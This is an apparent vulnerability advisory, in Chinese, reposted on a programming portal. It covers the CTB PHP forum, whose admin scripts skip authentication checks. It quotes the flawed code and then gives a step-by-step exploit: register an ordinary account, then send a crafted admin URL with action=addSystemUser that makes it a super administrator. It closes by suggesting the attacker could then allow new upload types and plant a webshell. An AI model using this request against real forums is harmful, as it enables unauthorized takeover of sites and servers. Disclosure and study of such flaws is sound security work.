程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> 網頁編程 >> PHP編程 >> 關於PHP編程 >> 漂亮但不安全的CTB

漂亮但不安全的CTB

編輯:關於PHP編程


>>>Dedicated This Scrap To CaoJing<<< 

涉及版本: 
^^^^^^^ 
目前所有版本(現在1.3Alpha為最高版本) 

描述: 
^^^^^^ 
CTB是一款由實易數碼<11cn.org>;開發和維護的源代碼開放的PHP論壇。由於其後台管理文件驗證存在缺陷,可能導致非法用戶直接添加論壇超級管理員,進而威脅論壇或服務器安全。 

具體: 
^^^^ 
CTB書寫非常規范,代碼井然有序,賞心悅目,的確是優美的程序;特別是其功能模塊,著實讓小弟學習了一把。但安全方面卻令人堪憂: 

試看如下代碼: 

/admin/main.php 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
 //獲取get變量 
   if( is_array($_GET) ) { 
      foreach($_GET as $k=>$v) { 
           if( is_array( $_GET[$k]) ) { 
               foreach($_GET[$k] as $k2=>$v2) { 
                   $return[$k][$k2] = $v2; 
               } 
           } else { 
               $return[$k] = $v; 
           } 
       } 

... 
$mod = isset($_GET['mod']) ? $_GET['mod'] : $_POST['mod']; 
   if (!file_exists($mod.".php" { 
       $mod = "mainright"; 
   } 
   require_once ($mod.".php"; 
   //----------------------------------------------------------------------------- 

   //初始化類變量 
   $ctb = new Module; 
   $ctb->set = $set; 
   $ctb->tplPath = "./templates"; 
   $ctb->input = $return; 
   $ctb->sess = isset($_COOKIE["sess_adminname"]) ? $_COOKIE : $_SESSION; 
   $ctb->execute(); 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

這裡沒有任何驗證,我們看看添加管理員的文件: 

/admin/systemuser.php 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
class Module extends CommonClass 
//系統管理模塊子類 

   function execute() { 
       switch($this->input['action']) { 
... 
case 'addSystemUser': 
               $this->addSystemUser(); 
               break; 
... 
    }       
   } 

function addSystemUser() 

   //輸入數據簡單格式化 
   $this->inputCheck("main.php?mod=systemuser&action=showSystemUser"; 
   //執行添加操作 
        $this->file = "../".$this->set[dataPath]."/users/list.php"; 
   $systemLine = $this->select(4, $this->input['systemUserName']); 
.... 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

依然沒有驗證,一路順利啊! 

利用方法: 
^^^^^^^ 
先注冊一個用戶: 

登陸ID:  cat 
用戶名 :   dog 
密碼:      ilikecat 
重復密碼:  ilikecat 
信箱:      [email protected] 

接著提交如下URL: 

http://www.target.com/ctb/admin/main.php?mod=systemuser&systemUserName=dog&systemUserMode=1&action=addSystemUser

哈哈,你現在已經是超級管理員了,不相信?提交如下URL後台登陸: 

http://www.psych.com/ctb/admin/main.php?mod=login 

管理名稱:  cat 
管理密碼:  ilikecat 

咦...還真成功了! 

你現在是不是想更改後台上傳文件類型,然後upload webshell?哼,被我猜到了吧... 

後記:另外發現CTB代碼注釋有些扎眼的錯別字,大煞風景,希望可以一起修正。

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved